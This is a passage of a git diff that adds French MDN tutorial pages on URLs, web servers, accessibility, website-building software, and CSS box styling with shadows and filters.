Remonter dans l'arborescence des dossiers
+
+ 
../CSS/display
+ +

Dans ce cas, on utilise la convention, héritée du monde UNIX :  ../ indique au navigateur de remonter d'un répertoire dans l'arborescence. L'URL absolue correspodante à la ressource visée est ici https://developer.mozilla.org/fr/docs/Apprendre/../CSS/display, qui peut être simplifiée en : https://developer.mozilla.org/fr/docs/CSS/display

+
+
+ +

Les URL sémantiques

+ +

Bien qu'utiles sur le plan technique, les URL représentent également un point d'entrée vers un site web, compréhensible par un lecteur humain. Une URL peut être mémorisée et n'importe qui peut en saisir une dans la barre d'adresse d'un navigateur. Une bonne pratique, préconisée par les concepteurs du web, est de construire des URL sémantiques.  Les URL sémantiques utilisent des termes qui peuvent être compris par n'importe quel lecteur, quel que soit son niveau de connaissance.

+ +

Les ordinateurs n'ont pas strictement besoin d'utiliser des URL sémantiques et vous avez déjà sûrement rencontré des URL pleines de charabia et de caractères aléatoires, URL qui fonctionnaient parfaitement. Cela dit, il y a plusieurs avantages à créer des URL compréhensibles par les humains :

+ +
    +
  • Elles sont plus simples à manipuler
    • +
  • Elles clarifient la situation pour le visiteur et indiquent où il est, ce qu'il fait et avec qui il intéragit sur le Web
    • +
  • Elles peuvent être utilisées par certains moteurs de recherche pour améliorer le classement des pages associées à un terme donné.
    • +
+ +

Prochaines étapes

+ + diff --git a/files/fr/learn/common_questions/what_is_a_web_server/index.html b/files/fr/learn/common_questions/what_is_a_web_server/index.html new file mode 100644 index 0000000000..f035f561ac --- /dev/null +++ b/files/fr/learn/common_questions/what_is_a_web_server/index.html @@ -0,0 +1,120 @@ +--- +title: Qu'est-ce qu'un serveur web ? +slug: Apprendre/Qu_est-ce_qu_un_serveur_web +tags: + - Beginner + - Infrastructure + - Learn +translation_of: Learn/Common_questions/What_is_a_web_server +--- +
+

Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctionnent et pourquoi ils sont importants.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment Internet fonctionne, les différences entre une page web, un site web, un serveur web et un moteur de recherche.
Objectifs :Vous apprendrez ce qu'est un serveur web et comprendrez son fonctionnement général.
+ +

Un « serveur web » peut faire référence à des composants logiciels (software) ou à des composants matériels (hardware) ou à des composants logiciels et matériels qui fonctionnent ensemble.

+ +
    +
  1. Au niveau des composants matériels, un serveur web est un ordinateur qui stocke les fichiers qui composent un site web (par exemple les documents HTML, les images, les feuilles de style CSS, les fichiers JavaScript) et qui les envoie à l'appareil de l'utilisateur qui visite le site. Cet ordinateur est connecté à Internet et est généralement accessible via un nom de domaine tel que mozilla.org.
    2. +
  2. Au niveau des composants logiciels, un serveur web contient différents fragments qui contrôlent la façon dont les utilisateurs peuvent accéder aux fichiers hébergés. On trouvera a minima un serveur HTTP. Un serveur HTTP est un logiciel qui comprend les {{Glossary("URL")}} et le protocole {{Glossary("HTTP")}} (le protocole utilisé par le navigateur pour afficher les pages web).
    3. +
+ +

Au niveau le plus simple, à chaque fois qu'un navigateur a besoin d'un fichier hébergé sur un serveur web, le navigateur demande (on dit qu'il envoie une requête) le fichier via HTTP. Quand la requête atteint le bon serveur web (matériel), le serveur HTTP (logiciel) renvoie le document demandé, également grâce à HTTP.

+ +

Basic representation of a client/server connection through HTTP

+ +

Pour publier un site web, vous aurez besoin d'un serveur web statique ou dynamique.

+ +

Un serveur web statique (aussi appelé une pile) est composé d'un ordinateur (matériel) et d'un serveur HTTP (logiciel). Il est appelé « statique » car le serveur envoie les fichiers hébergés « tels quels » vers le navigateur.

+ +

Un serveur web dynamique possède d'autres composants logiciels, certains qu'on retrouve fréquemment dont un serveur d'applications et une base de données. Il est appelé « dynamique » car le serveur d'applications met à jour les fichiers hébergés avant de les envoyer au navigateur via HTTP.

+ +

Par exemple, afin de produire la page web que vous voyez sur votre navigateur, le serveur d'applications serveur peut utiliser un modèle HTML et le remplir avec des données. Ainsi, des sites comme MDN ou Wikipédia ont des milliers de pages mais il n'existe pas un document HTML réel pour chacune de ces pages. En fait, il y a quelques modèles (ou gabarits) HTML qui sont utilisés avec une gigantesque base de données. Cette organisation permet de mieux mettre à disposition le contenu et de maintenir plus efficacement le site.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. Vous pouvez néanmoins contribuer.

+ +

Aller plus loin

+ +

Pour récupérer une page web, votre navigateur envoie une requête au serveur web. Celui-ci traite alors la requête pour le fichier demandé, présent sur son espace mémoire. Lorsqu'il trouve le fichier, le serveur le lit, le manipule si nécessaire et l'envoie au navigateur. Dans cette section, nous allons décrire en détails chacune de ces étapes.

+ +

Héberger des fichiers

+ +

Un serveur web doit stocker les fichiers nécessaires au fonctionnement du site web : tous les documents HTML et les ressources liées dont les images, les fichiers JavaScript, les feuilles de styles, les fichiers de fontes, les vidéos, etc.

+ +

D'un point de vue technique, il serait tout à fait possible de stocker tout ces éléments sur son propre ordinateur. Toutefois, il est beaucoup plus pratique d'utiliser un serveur web destiné spécifiquement à cela car il devra :

+ +
    +
  • toujours être en fonctionnement
    • +
  • toujours être connecté à Internet
    • +
  • conserver la même adresse IP au cours du temps (tous les fournisseurs d'accès ne fournissent pas une adresse IP fixe pour les particuliers
    • +
  • être maintenu par un fournisseur tiers.
    • +
+ +

Au regard de toutes ces raisons, il est crucial de trouver un hébergeur correct pour votre site web. Prenez donc le temps de parcourir les différentes offres afin de choisir celle qui correspond le mieux à votre besoin et à votre budget (qui pourra varier entre 0 € et plusieurs milliers d'euros par mois selon ce qui est demandé). Vous trouverez d'autres détails sur ce point dans cet article.

+ +

Une fois que vous avez trouvé votre hébergeur et la solution d'hébergement qui vous convient, il vous suffira de transférer vos fichiers vers le serveur web.

+ +

Communiquer via HTTP

+ +

Un serveur web supporte le protocole {{Glossary("HTTP")}} (pour HyperText Transfer Protocol en anglais soit Protocole de transfert hypertexte). Comme son nom l'indique, HTTP définit comment transférer des fichiers hypertextes (c'est-à-dire des documents web liés entre eux) entre deux ordinateurs.

+ +

Ici, un protocole est un ensemble de règles définissant la communication entre deux ordinateurs. HTTP est un protocole textuel, sans état.

+ +
+
Textuel
+
Toutes les commandes qui sont échangées sont du texte pouvant être lu par un humain.
+
Sans état
+
Ni le serveur, ni le client (l'ordinateur sur lequel est le navigateur) ne se souviennent des communications précédentes. Par exemple, si on utilisait uniquement HTTP, un serveur ne pourrait pas se souvenir si un mot de passe a été saisi ou si une transaction est en cours (pour gérer cela, il faut utiliser un serveur d'applications).
+
+ +

HTTP fournit des règles claires qui indiquent comment un client et un serveur communiquent. HTTP fait l'objet d'un article technique à part entière. Pour le moment, voici les points les plus importants à garder en mémoire :

+ +
    +
  • Seuls les clients peuvent effectuer des requêtes HTTP et uniquement vers des serveurs. Les serveurs ne peuvent que répondre à la requête d'un client.
    • +
  • Lorsque le client demande un fichier via HTTP, il doit fournir l'{{Glossary("URL")}} du fichier en question.
    • +
  • Le serveur web doit répondre à chaque requête HTTP même si la réponse est un message d'erreur.
    • +
+ +

Sur un serveur web, le serveur HTTP est responsable du traitement des requêtes reçues et de leurs réponses.

+ +
    +
  1. Une fois qu'il a reçu une requête, le serveur HTTP vérifie que l'URL demandée correspond à un fichier existant.
    2. +
  2. Si c'est le cas, le serveur envoie le fichier vers le navigateur du client. Sinon, le serveur d'applications génère le fichier nécessaire.
    3. +
  3. Si le fichier n'existe pas ou que le traitement est impossible, le serveur web renvoie un message d'erreur au navigateur. Le message d'erreur le plus fréquemment rencontré est {{HTTPStatus("404", "404 Page non trouvée")}} (cette erreur étant plutôt fréquente, certains ont même personnalisé et adapté les pages d'erreurs 404 de leurs sites).
    4. +
+ +

Une page d'erreur HTTP, en l'occurrence la page 404 de MDN

+ +

Contenu statique et contenu dynamique

+ +

En résumé, un serveur peut « servir » du contenu statique ou dynamique. Un contenu « statique » signifie qu'il est servi tel quel. Les sites web statiques sont les plus simples à mettre en œuvre et il sera donc préférable de commencer par un site statique.

+ +

Un site « dynamique » signifie que le serveur traite le contenu ou le génère à la volée depuis les informations contenues dans une base de données. Cette solution est plus flexible mais beaucoup plus complexe à mettre en œuvre.

+ +

Prenons l'exemple de la page que vous êtes en train de lire. Sur le serveur web qui l'héberge, il y a une serveur d'applications qui tire l'article d'une base de données, le formate et l'insère dans différents modèles HTML. Une fois ce traitement effectué, le serveur envoie le fichier vers votre navigateur. Ici, le serveur d'applications s'appelle Kuma et est construite Python (grâce au framework Django). L'équipe Mozilla a construit Kuma afin qu'il réponde aux besoins spécifiques de MDN mais il existe de nombreuses autres applications, éventuellement construites sur d'autres technologies.

+ +

Il y a tellement de serveurs d'applications qu'il est difficile d'en suggérer un en particulier. Certains serveurs d'applications sont consacrés à certaines catégories de site web comme les blogs, les wikis, les boutiques en ligne, etc. D'autres, appelés {{Glossary("CMS")}} (pour Content Management Systems en anglais ou « Systèmes de gestion des contenus ») sont plus génériques. Si vous construisez un site web dynamique, prenez le temps d'étudier les outils disponibles pour choisir celui qui correspondra à votre projet. Sauf si vous souhaitez apprendre des éléments de programmation serveur (ce qui est très intéressant), vous n'avez pas besoin de créer votre serveur d'applications de toute pièce (cela reviendrait à réinventer la roue).

+ +

Prochaines étapes

+ +

Maintenant que vous connaissez les serveurs web, vous pourriez :

+ + diff --git a/files/fr/learn/common_questions/what_is_accessibility/index.html b/files/fr/learn/common_questions/what_is_accessibility/index.html new file mode 100644 index 0000000000..403b3ff2fe --- /dev/null +++ b/files/fr/learn/common_questions/what_is_accessibility/index.html @@ -0,0 +1,94 @@ +--- +title: Qu'est-ce que l'accessibilité ? +slug: Apprendre/Accessibilité +tags: + - Accessibility + - Beginner + - Intro + - NeedsActiveLearning + - Web +translation_of: Learn/Common_questions/What_is_accessibility +--- +
+

Cet article aborde les concepts de base qui forment l'accessibilité pour le Web.

+
+ + + + + + + + + + + + +
Prérequis :Aucun.
Objectifs :Comprendre ce qu'est l'accessibilité et pourquoi elle est importante.
+ +

Que ce soit en raison de limitations physiques ou techniques, il peut arriver que les visiteurs de votre site web ne peuvent l'utiliser comme vous le pensiez. Dans cet article, vous trouverez quelques principes généraux à propos de l'accessibilité, ainsi que quelques règles que nous expliquerons.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

+ +

Aller plus loin

+ +

Principes généraux de l'accessibilité

+ +

En premier lieu, on associe parfois l'accessibilité avec des limitations péjoratives. Ce bâtiment doit être accessible et doit donc respecter ces règlements pour les largeurs de portes, la taille des toilettes, l'emplacement de l'ascenseur.

+ +

Cette approche est plutôt limitée. Dans tous les cas, l'accessibilité permet d'atteindre plus de personnes, éventuellement de servir plus de clients. Comment font les Brésiliens pour utiliser un site uniquement en anglais ou français ? Est-ce que les personnes qui possèdent des smartphones peuvent naviguer sur des sites encombrés, conçus pour être affichés uniquement sur de grands écrans et avec une bande passante important ? Ces personnes passeront leur chemin. De façon général, nous devons penser nos produits et nos créations avec le point de vue de l'ensemble du public ou des clients et nous devons nous adapter par rapport à ce point de vue, d'où la raison d'être de l'accessibilité.

+ +

L'accessibilité sur le Web

+ +

Dans le cadre spécifique qu'est le Web, l'accessibilité signifie que n'importe qui peut accéder au contenu que vous publiez en ligne, quel que soit la situation de handicap, l'emplacement géographique, les limitations techniques ou autres.

+ +

Prenons l'exemple de la vidéo :

+ +
+
Déficience auditive
+
Comment une personne déficiente auditivement peut-elle profiter de la vidéo ? Il est nécessaire de fournir des sous-titres, voire mieux, une transcription écrite complète.
+
Assurez-vous également que les personnes puissent ajuster le volume à leur convenance.
+
Déficience visuelle
+
Ici aussi, il est préférable de fournir une transcription que l'utilisateur pourra consulter sans lancer la vidéo, ainsi qu'une audio-description décrivant, en voix off, ce qui se passe dans la vidéo.
+
Mise en pause
+
Certains utilisateurs peuvent avoir du mal à comprendre ce qui est dit par quelqu'un dans la vidéo. La fonctionnalité de mise en pause peut leur permettre de lire les sous-titres ou de comprendre l'information.
+
Utilisation du clavier
+
Laissez à l'utilisateur la possibilité de lancer la vidéo mais aussi de la mettre en pause grâce à des touches du clavier.
+
+ +

Les bases de l'accessibilité web

+ +

Afin qu'un page web soit un minimum accessible, il faut :

+ +
    +
  • Fournir des alternatives textuelles pour toutes les images du site qui sont utilisées pour porter du sens. Cela permettra aux personnes atteint d'une déficience visuelle d'utiliser un logiciel pour lire cette description ou aux personnes avec des connexions erratiques de récupérer le texte et de l'afficher avant l'image.
    • +
  • S'assurer que tous les utilisateurs peuvent manipuler les interfaces graphiques (par exemple les menus déroulants) avec le clavier (par exemple avec la touche tabulation ou la touche Entrée).
    • +
  • Fournir un attribut qui définisse le langage utilisé pour le contenu de la page afin qu'un logiciel lecteur d'écran puisse lire le texte correctement.
    • +
  • S'assurer que tous les utilisateurs puissent naviguer entre les différents éléments d'une page avec le clavier sans être « piégés » dans un endroit de la page (c'est généralement la touche tabulation qui est utilisée pour ce type d'actions)
    • +
+ +

Ces règles ne forment qu'un minimum nécessaire pour l'accessibilité.

+ +

Les défendeurs de l'accessibilité

+ +

Depuis 1999, le {{Glossary("W3C")}} possède un groupe de travail appelé {{Glossary("WAI","Web Accessibility Initiative")}} (WAI ou Initiative pour l'Accessibilité du Web en français) qui promeut l'accessibilité grâce à des recommandations, des ressources d'aide et des matériaux internationaux sur l'accessibilité.

+ +

Plus de détails

+ +

Vous pouvez vous référer à :

+ + + +

Prochaines étapes

+ +

L'accessibilité peut avoir un impact tant sur le design d'un site que sur sa structure technique.

+ + diff --git a/files/fr/learn/common_questions/what_software_do_i_need/index.html b/files/fr/learn/common_questions/what_software_do_i_need/index.html new file mode 100644 index 0000000000..fc0e1bcfc8 --- /dev/null +++ b/files/fr/learn/common_questions/what_software_do_i_need/index.html @@ -0,0 +1,189 @@ +--- +title: De quels logiciels ai-je besoin pour construire un site web ? +slug: Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web +tags: + - Beginner + - Learn + - NeedsActiveLearning + - WebMechanics +translation_of: Learn/Common_questions/What_software_do_I_need +--- +
+

Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre en ligne ou consulter un site web.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez déjà connaître la différence entre une page web, un serveur web et un moteur de recherche.
Objectifs :Connaître les logiciels qui sont nécessaires pour créer, éditer, mettre en ligne ou consulter un site web.
+ +

La plupart des logiciels nécessaires au développement d'un site web peuvent être téléchargés gratuitement sur Internet. Quelques liens seront fournis au fur et à mesure de l'article. Vous aurez besoin d'outils pour :

+ +
    +
  1. Créer et éditer des pages web
    2. +
  2. Téléverser (uploader) vos fichiers vers votre serveur web
    3. +
  3. Visualiser votre site web.
    4. +
+ +

Tous les systèmes d'exploitation (ou presque) possèdent par défaut un éditeur de texte et un outil pour visualiser des sites web (qu'on appellera un navigateur web). Seul l'outil qui permet de transférer les fichiers vers votre serveur web pourrait manquer à l'appel.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

+ +

Aller plus loin

+ +

Créer et éditer des pages web

+ +

Pour créer et éditer un site web, vous aurez besoin d'un éditeur de texte. Les éditeurs de texte permettent de créer et de modifier des fichiers dont le contenu est du texte, sans aucune mise en forme (d'autres formats comme {{Glossary("RTF")}} vous permettent d'ajouter une mise en forme sur un fichier (comme le gras ou le soulignement) mais ils ne sont pas utilisables pour écrire des pages web). Le choix d'un éditeur de texte est important car vous allez devoir l'utiliser de façon intensive lorsque vous allez construire votre site.

+ +

Tous les systèmes d'exploitations possèdent un éditeur de texte basique par défaut. Ces éditeurs sont plutôt simples à manipuler mais n'ont pas certaines fonctionnalités utiles au développement web. Si vous souhaitez choisir un autre éditeur que celui par défaut, il y en a une myriade qui sont disponibles, dont certains gratuits. Les éditeurs de texte tiers pourront inclure des fonctionnalités supplémentaires comme la coloration syntaxique, l'auto-complétion, le repli de sections, la recherche avancée, etc. Voici une très courte liste d'éditeurs disponibles :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Système d'exploitationÉditeur natif par défautÉditeur tiers
Windows + + + +
Mac OS + + + +
Linux + + + +
Chrome OS + +
+ +

Voici une capture d'écran qui illustre l'allure d'un éditeur de texte avancé (ici Notepad++) :

+ +

Screenshot of Notepad++.

+ +

Transférer des fichiers vers un serveur web

+ +

Lorsque votre site web est peaufiné, testé et est prêt à être publié, vous devrez téléverser (uploader) vos fichiers vers votre serveur web (pour l'achat de l'espace serveur, voir l'article combien ça coûte de publier quelque chose sur le Web ?). Une fois que vous disposez d'un serveur via votre fournisseur, celui-ci vous enverra les informations d'accès FTP (pour File Transfer Protocol ou protocole de transfert de fichiers), souvent en donnant une URL SFTP, un nom d'utilisateur, un mot de passe et d'autres informations nécessaires à la connexion au serveur. Sachez toutefois que le FTP est une technique vieillissante et que de nouveaux systèmes commencent à devenir populaires, comme RSync et Git/Github.

+ +
+

FTP est par nature non sécurisé. Vous devez toujours vous assurer que votre fournisseur d'hébergement vous autorise à vous connecter de manière sécurisée, c'est-à-dire via SFTP (Secure FTP) ou via RSync avec SSH.

+
+ +

Le téléversement des fichiers vers un serveur web est une étape importante dans la publication d'un site web et nous la décrivons beaucoup plus en détails dans un article à part. Voyons tout de même une liste de clients FTP basiques :

+ + + + + + + + + + + + + + + + + + + + + + + +
Système d'exploitationLogiciel client FTP
WindowsWinSCPFileZilla (tout système d'exploitation)
LinuxNautilus (Gnome)
+ Konqueror (KDE)
Mac OSCyberduck
+ +

Visualiser des sites web

+ +

Comme vous le savez sans doute déjà, vous avez besoin d'un navigateur web pour visualiser des pages web. De nombreux navigateurs existent que vous pouvez utiliser de façon personnelle. Toutefois, lorsqu'on développe un site web, il faut au moins le tester sur les navigateurs les plus utilisés afin de s'assurer que le site fonctionne pour la plupart des personnes :

+ + + +

Si votre site s'adresse à un public particulier (par exemple un pays spécifique ou une plate-forme donnée), vous pourrez avoir à tester votre site sur des navigateurs supplémentaires comme Opera, Dolphin ou UC Browser.

+ +

Cela se complique quand on réalise que certains navigateurs ne fonctionnent que sur certains systèmes d'exploitation. Apple Safari ne fonctionne que sur iOS et Mac OS, Internet Explorer ne fonctionne que sur Windows, etc. Face à ce problème, mieux vaut tirer parti de services comme Browsershots ou Browserstack. Browsershots fournit des captures d'écran de votre site, tel qu'il est rendu dans les différents navigateurs. Browserstack vous permet de complètement contrôler des machines virtuelles afin que vous puissiez tester votre site sur les environnements les plus fréquents. Sinon, vous pouvez mettre en place votre propre machine virtuelle mais cela demandera quelques connaissances (si vous choisissez cette option, Microsoft met à disposition, sur modern.ie, une machine virtuelle prête à être utilisée).

+ +

Dans tous les cas, vous devrez tester votre site sur de vrais appareils, notamment pour les appareils mobiles. La simulation mobile en est encore à ses débuts et est moins stable que la simulation d'ordinateur fixes. Bien entendu, acquérir des appareils mobiles représente un certain budget et nous vous conseillons de consulter l'initiative Open Device Lab. Vous pouvez également partager les appareils à plusieurs si vous souhaitez tester sur un maximum de plates-formes sans trop dépenser.

+ +

Prochaines étapes

+ + diff --git a/files/fr/learn/css/building_blocks/a_cool_looking_box/index.html b/files/fr/learn/css/building_blocks/a_cool_looking_box/index.html new file mode 100644 index 0000000000..05b812da1d --- /dev/null +++ b/files/fr/learn/css/building_blocks/a_cool_looking_box/index.html @@ -0,0 +1,98 @@ +--- +title: Une boîte d'aspect rafraîchissant +slug: Apprendre/CSS/styliser_boites/A_cool_looking_box +tags: + - Apprentissage + - Arrière‑plans + - Boîte + - CSS + - Débutant + - Evaluation + - effets + - encadrement + - modèle de boîte +translation_of: Learn/CSS/Building_blocks/A_cool_looking_box +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}
+ +

Avec cette évaluation, vous obtiendrez une meilleure pratique dans la création de boîtes d'aspect rafraîchissant en faisant en sorte qu'elles attirent le regard.

+ + + + + + + + + + + + +
Prérequis :Avant de faire cet exercice vous devez avoir vu tous les articles de ce module.
Objectif :Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme les encadrements et les arrière‑plans.
+ +

Départ

+ +

Pour débuter, vous devez :

+ +
    +
  • faire des copies locales de ces HTML et CSS — enregistrez‑les sous les noms index.html et style.css dans un nouveau répertoire.
    • +
+ +
+

Note: Autrement, vous pouvez utiliser un site comme  JSBin ou Thimble pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément <style> dans l'élément head du document.

+
+ +

Résumé du projet

+ +

Votre tâche consiste à créer une boîte élégante et rafraîchissante tout en explorant le côté ludique des CSS.

+ +

Généralités

+ +
    +
  • Appliquez la CSS au HTML.
    • +
+ +

Composition de la boîte

+ +

Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant :

+ +
    +
  • une largeur raisonnable pour un gros bouton, disons autout de 200 pixels,
    • +
  • une hauteur raisonnable pour un gros bouton en centrant le texte verticalement dans ce processus,
    • +
  • un texte centré horizontalement,
    • +
  • une taille de texte légérement augmentée, vers 17-18 pixels. Utilisez les rem comme unité. Écrivez un commentaire sur la façon dont vous avez opéré pour le calcul de la valeur.
    • +
  • une couleur de base pour l'aspect général. Cette couleur de boîte sera celle de son arrière‑plan.
    • +
  • la même couleur pour le texte. Faites en sorte qu'il soit lisible en le dotant d'un ombrage de couleur noire.
    • +
  • un encadrement avec des coins arrondis subtils,
    • +
  • un encadrement de 1-pixel uni de couleur similaire à la couleur de base, mais légérement plus foncée.
    • +
  • un gradient linéaire noir semi‑transparent à partir du coin inférieur droit. Faites‑le totalement transparent au départ et donnez‑lui une opacité croissante de 0,2 sur 30% de la longueur puis restant de la même couleur jusqu'à l'autre extrémité.
    • +
  • des ombres de boîte multiples. Donnez lui un ombrage la faisant ressortir légérement de la page. Les autres deux seront des ombres avec la propriété inset — une ombre blanche semi-transparente près de l'angle supérieur gauche et une ombre semi‑transparent noir près de l'angle inférieur droit — pour donner un aspect surélevé 3D à la boîte.
    • +
+ +

Exemple

+ +

Cette capture d'écran montre un exemple de ce à quoi l'aspect final pourrait ressembler :

+ +

+ +

Évaluation

+ +

Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur  le fil de discussion à propos de cet exercice ou par l'intermédiaire du canal IRC #mdn sur Mozilla IRC. Faites l'exercice d'abord, il n'y rien à gagner en trichant !

+ +

{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}

+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/building_blocks/advanced_styling_effects/index.html b/files/fr/learn/css/building_blocks/advanced_styling_effects/index.html new file mode 100644 index 0000000000..d33fa050a1 --- /dev/null +++ b/files/fr/learn/css/building_blocks/advanced_styling_effects/index.html @@ -0,0 +1,435 @@ +--- +title: Effets de boîte avancés +slug: Apprendre/CSS/Building_blocks/Advanced_styling_effects +tags: + - Article + - Boîtes + - CSS + - Codage + - Débutant + - Filtres + - Modes de mélange de couleurs + - Stylisation + - effets + - ombres de boîtes +translation_of: Learn/CSS/Building_blocks/Advanced_styling_effects +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}
+ +

Cet article est une sorte de boîte à malices : elle introduit certaines des fonctions avancées disponibles pour styliser les boîtes, fonctions n'entrant pas dans catégories vues plus haut — comme les ombres, les mélanges de couleurs ou les filtres.

+ + + + + + + + + + + + +
Prérequis :Notions de HTML (voir Introduction à HTML) et idées sur le fonctionnement des CSS (voir Introduction aux CSS).
Objectif :Donner des idées sur l'utilisation d'effets avancés pour les boîtes et apprendre quelques outils de style natifs propres au langage des CSS.
+ +

Ombres des boîtes

+ +

Revenons au module Styling text — nous y avons vu la propriété {{cssxref("text-shadow")}} : elle permet d'appliquer une ou plusieurs ombres portées au texte d'un élément. Il existe une propriété équivalente pour les boîtes — {{cssxref("box-shadow")}} : elle applique une ou plusieurs ombres portées à une boîte d'élément réelle. Tout comme les ombres de texte, les ombres de boîtes sont bien prises en charge par les navigateurs, mais seulement au-delà de IE9. Les utilisateurs des anciennes versions d'IE pourraient être confrontés à l'absence d'ombres ; donc, testez simplement vos designs pour être sûr que le contenu reste lisible sans ombrage.

+ +

Vous trouverez les exemples de cet article dans le fichier  box-shadow.html (voir le code source également).

+ +

Ombre simple pour une boîte

+ +

Débutons avec un exemple simple. D'abord, un peu de HTML :

+ +
+
<article class="simple">
+  <p><strong>Attention</strong> : Le thermostat sur le transcendeur cosmique a atteint un niveau critique.</p>
+</article>
+ +

Puis la CSS:

+ +
p {
+  margin: 0;
+}
+
+article {
+  max-width: 500px;
+  padding: 10px;
+  color: white ;
+  text-align: center ;
+  background-color: red;
+  background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25));
+}
+
+.simple {
+  box-shadow: 5px 5px 5px rgba(0,0,0,0.7);
+}
+
+ +

donnent le résultat suivant :

+ +

{{ EmbedLiveSample('example_1', '100%', 100) }}

+ +

Notez les quatre éléments valeur de la propriété box-shadow :

+ +
    +
  1. La première valeur est la mesure du décalage horizontal — distance entre la droite de l'ombre (ou la gauche si négative) et la boîte.
    2. +
  2. La deuxième valeur est la mesure du décalage vertical — distance vers le bas (vers le haut si négative) dont l'ombre est décalée de la boîte.
    3. +
  3. La troisième valeur est le rayon de flou — il représente la « quantité » de flou appliquée à l'ombre.
    4. +
  4. La valeur de la couleur : couleur de base de l'ombre.
    5. +
+ +

Vous pouvez utiliser toutes unités de longueur et de couleur utiles pour définir ces valeurs.

+ +

Ombres multiples pour une boîte

+ +

Vous pouvez également définir plusieurs ombres de boîtes dans une seule déclaration en les séparant par des virgules :

+ +
+ + +
p {
+  margin: 0;
+}
+
+article {
+  max-width: 500px;
+  padding: 10px;
+  color: white;
+  text-align: center;
+  background-color: red;
+  background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); }
+
+.multiple { box-shadow: 1px 1px 1px black,
+                        2px 2px 1px black,
+                        3px 3px 1px red,
+                        4px 4px 1px red,
+                        5px 5px 1px black,
+                        6px 6px 1px black; }
+
+
+ +

Nous obtenons le résultat suivant :

+ +

{{ EmbedLiveSample('example_2', '100%', 100) }}

+ +

Voici quelque chose d'amusant : nous créons une boîte avec une impression de relief avec plusieurs couches de couleur. Vous pouvez utiliser ce procédé d'autre manière, par exemple pour donner une apparence plus réaliste avec des ombres à partir de plusieurs sources de lumière.

+ +

Autres fonctionnalités des ombres de boîtes

+ +

Contrairement à {{cssxref("text-shadow")}}, {{cssxref("box-shadow")}} dispose du mot‑clé inset — le faire précéder une déclaration d'ombre fera que l'ombre sera interne et non externe. Voyons ce que cela signifie.

+ +

D'abord un HTML différent pour cet exemple :

+ +
+
<button>Appuyez ici !</button>
+ +
button {
+  width: 150px;
+  font-size: 1.1rem;
+  line-height: 2;
+  border-radius: 10px;
+  border: none;
+  background-image: linear-gradient(to bottom right, #777, #ddd);
+  box-shadow: 1px 1px 1px black,
+              inset 2px 3px 5px rgba(0,0,0,0.3),
+              inset -2px -3px 5px rgba(255,255,255,0.5);
+}
+
+button:focus, button:hover {
+  background-image: linear-gradient(to bottom right, #888, #eee);
+}
+
+button:active {
+  box-shadow: inset 2px 2px 1px black,
+              inset 2px 3px 5px rgba(0,0,0,0.3),
+              inset -2px -3px 5px rgba(255,255,255,0.5);
+}
+
+ +

Et voici le résultat :

+ +

{{ EmbedLiveSample('example_3', '100%', 70) }}

+ +

 

+ +

Ici, nous avons mis en place un style de bouton avec des états différents selon qu'il a le focus, qu'il est survolé par le pointeur de souris ou qu'il est actif. Le bouton est doté d'une simple ombre noire définie par défaut, plus deux ombres d'insertion, l'une claire et l'autre sombre, placées sur les coins opposés du bouton pour lui donner un bel effet d'ombrage.

+ +

Lorsque le bouton est cliqué, l'état actif entraîne le remplacement de la première ombre de la boîte par une ombre d'insertion très sombre, donnant l'apparence que le bouton est enfoncé.

+ +
+

Note : il y a un autre élément qui peut être paramétré parmi les valeurs de box-shadow  — une autre valeur de longueur peut être facultativement définie juste avant la définition de la couleur : le rayon de diffusion. S'il est défini, l'ombre devient plus grande que la boîte originelle. Ce paramètre n'est pas couramment utilisé, mais il est bon de le signaler.

+
+ +

Filtres

+ +

Les filtres des CSS s'appliquent aux éléments de la même manière qu'on applique un filtre à un calque dans un logiciel graphique comme Photoshop. Diverses options différentes sont disponibles :  vous pouvez en prendre connaissance plus en détail sur la page de référence {{cssxref("filter")}}. Dans cette section, nous vous expliquons la syntaxe et vous montrons à quel point les résultats peuvent être amusants.

+ +

Fondamentalement, un filtre peut être appliqué à n'importe quel élément, bloc ou en ligne — il suffit d'utiliser la propriété filter et lui donner une valeur de fonction de filtrage particulière. Certaines options de filtrage disponibles font des choses tout à fait similaires à d'autres fonctionnalités des CSS, par exemple drop-shadow() fonctionne de manière semblable à {{cssxref("box-shadow")}} ou {{cssxref("text-shadow")}}  et donne des effets analogues.  Mieux encore, les filtres travaillent sur les formes exactes du contenu à l'intérieur de la boîte, pas seulement la boîte elle-même comme un ensemble. Cela peut donner des choses plus jolies, même si ce n'est pas toujours ce que vous vouliez. Prenons un exemple simple pour illustrer ce qui précède :

+ +

Tout d'abord, un HTML simple :

+ +
<p class="filter">Filtre</p>
+
+<p class="box-shadow">Ombre de boîte</p>
+
+ +

Et maintenant un peu de CSS pour créer une ombre portée à chacun :

+ +
p {
+  margin: 1rem auto;
+  padding: 20px;
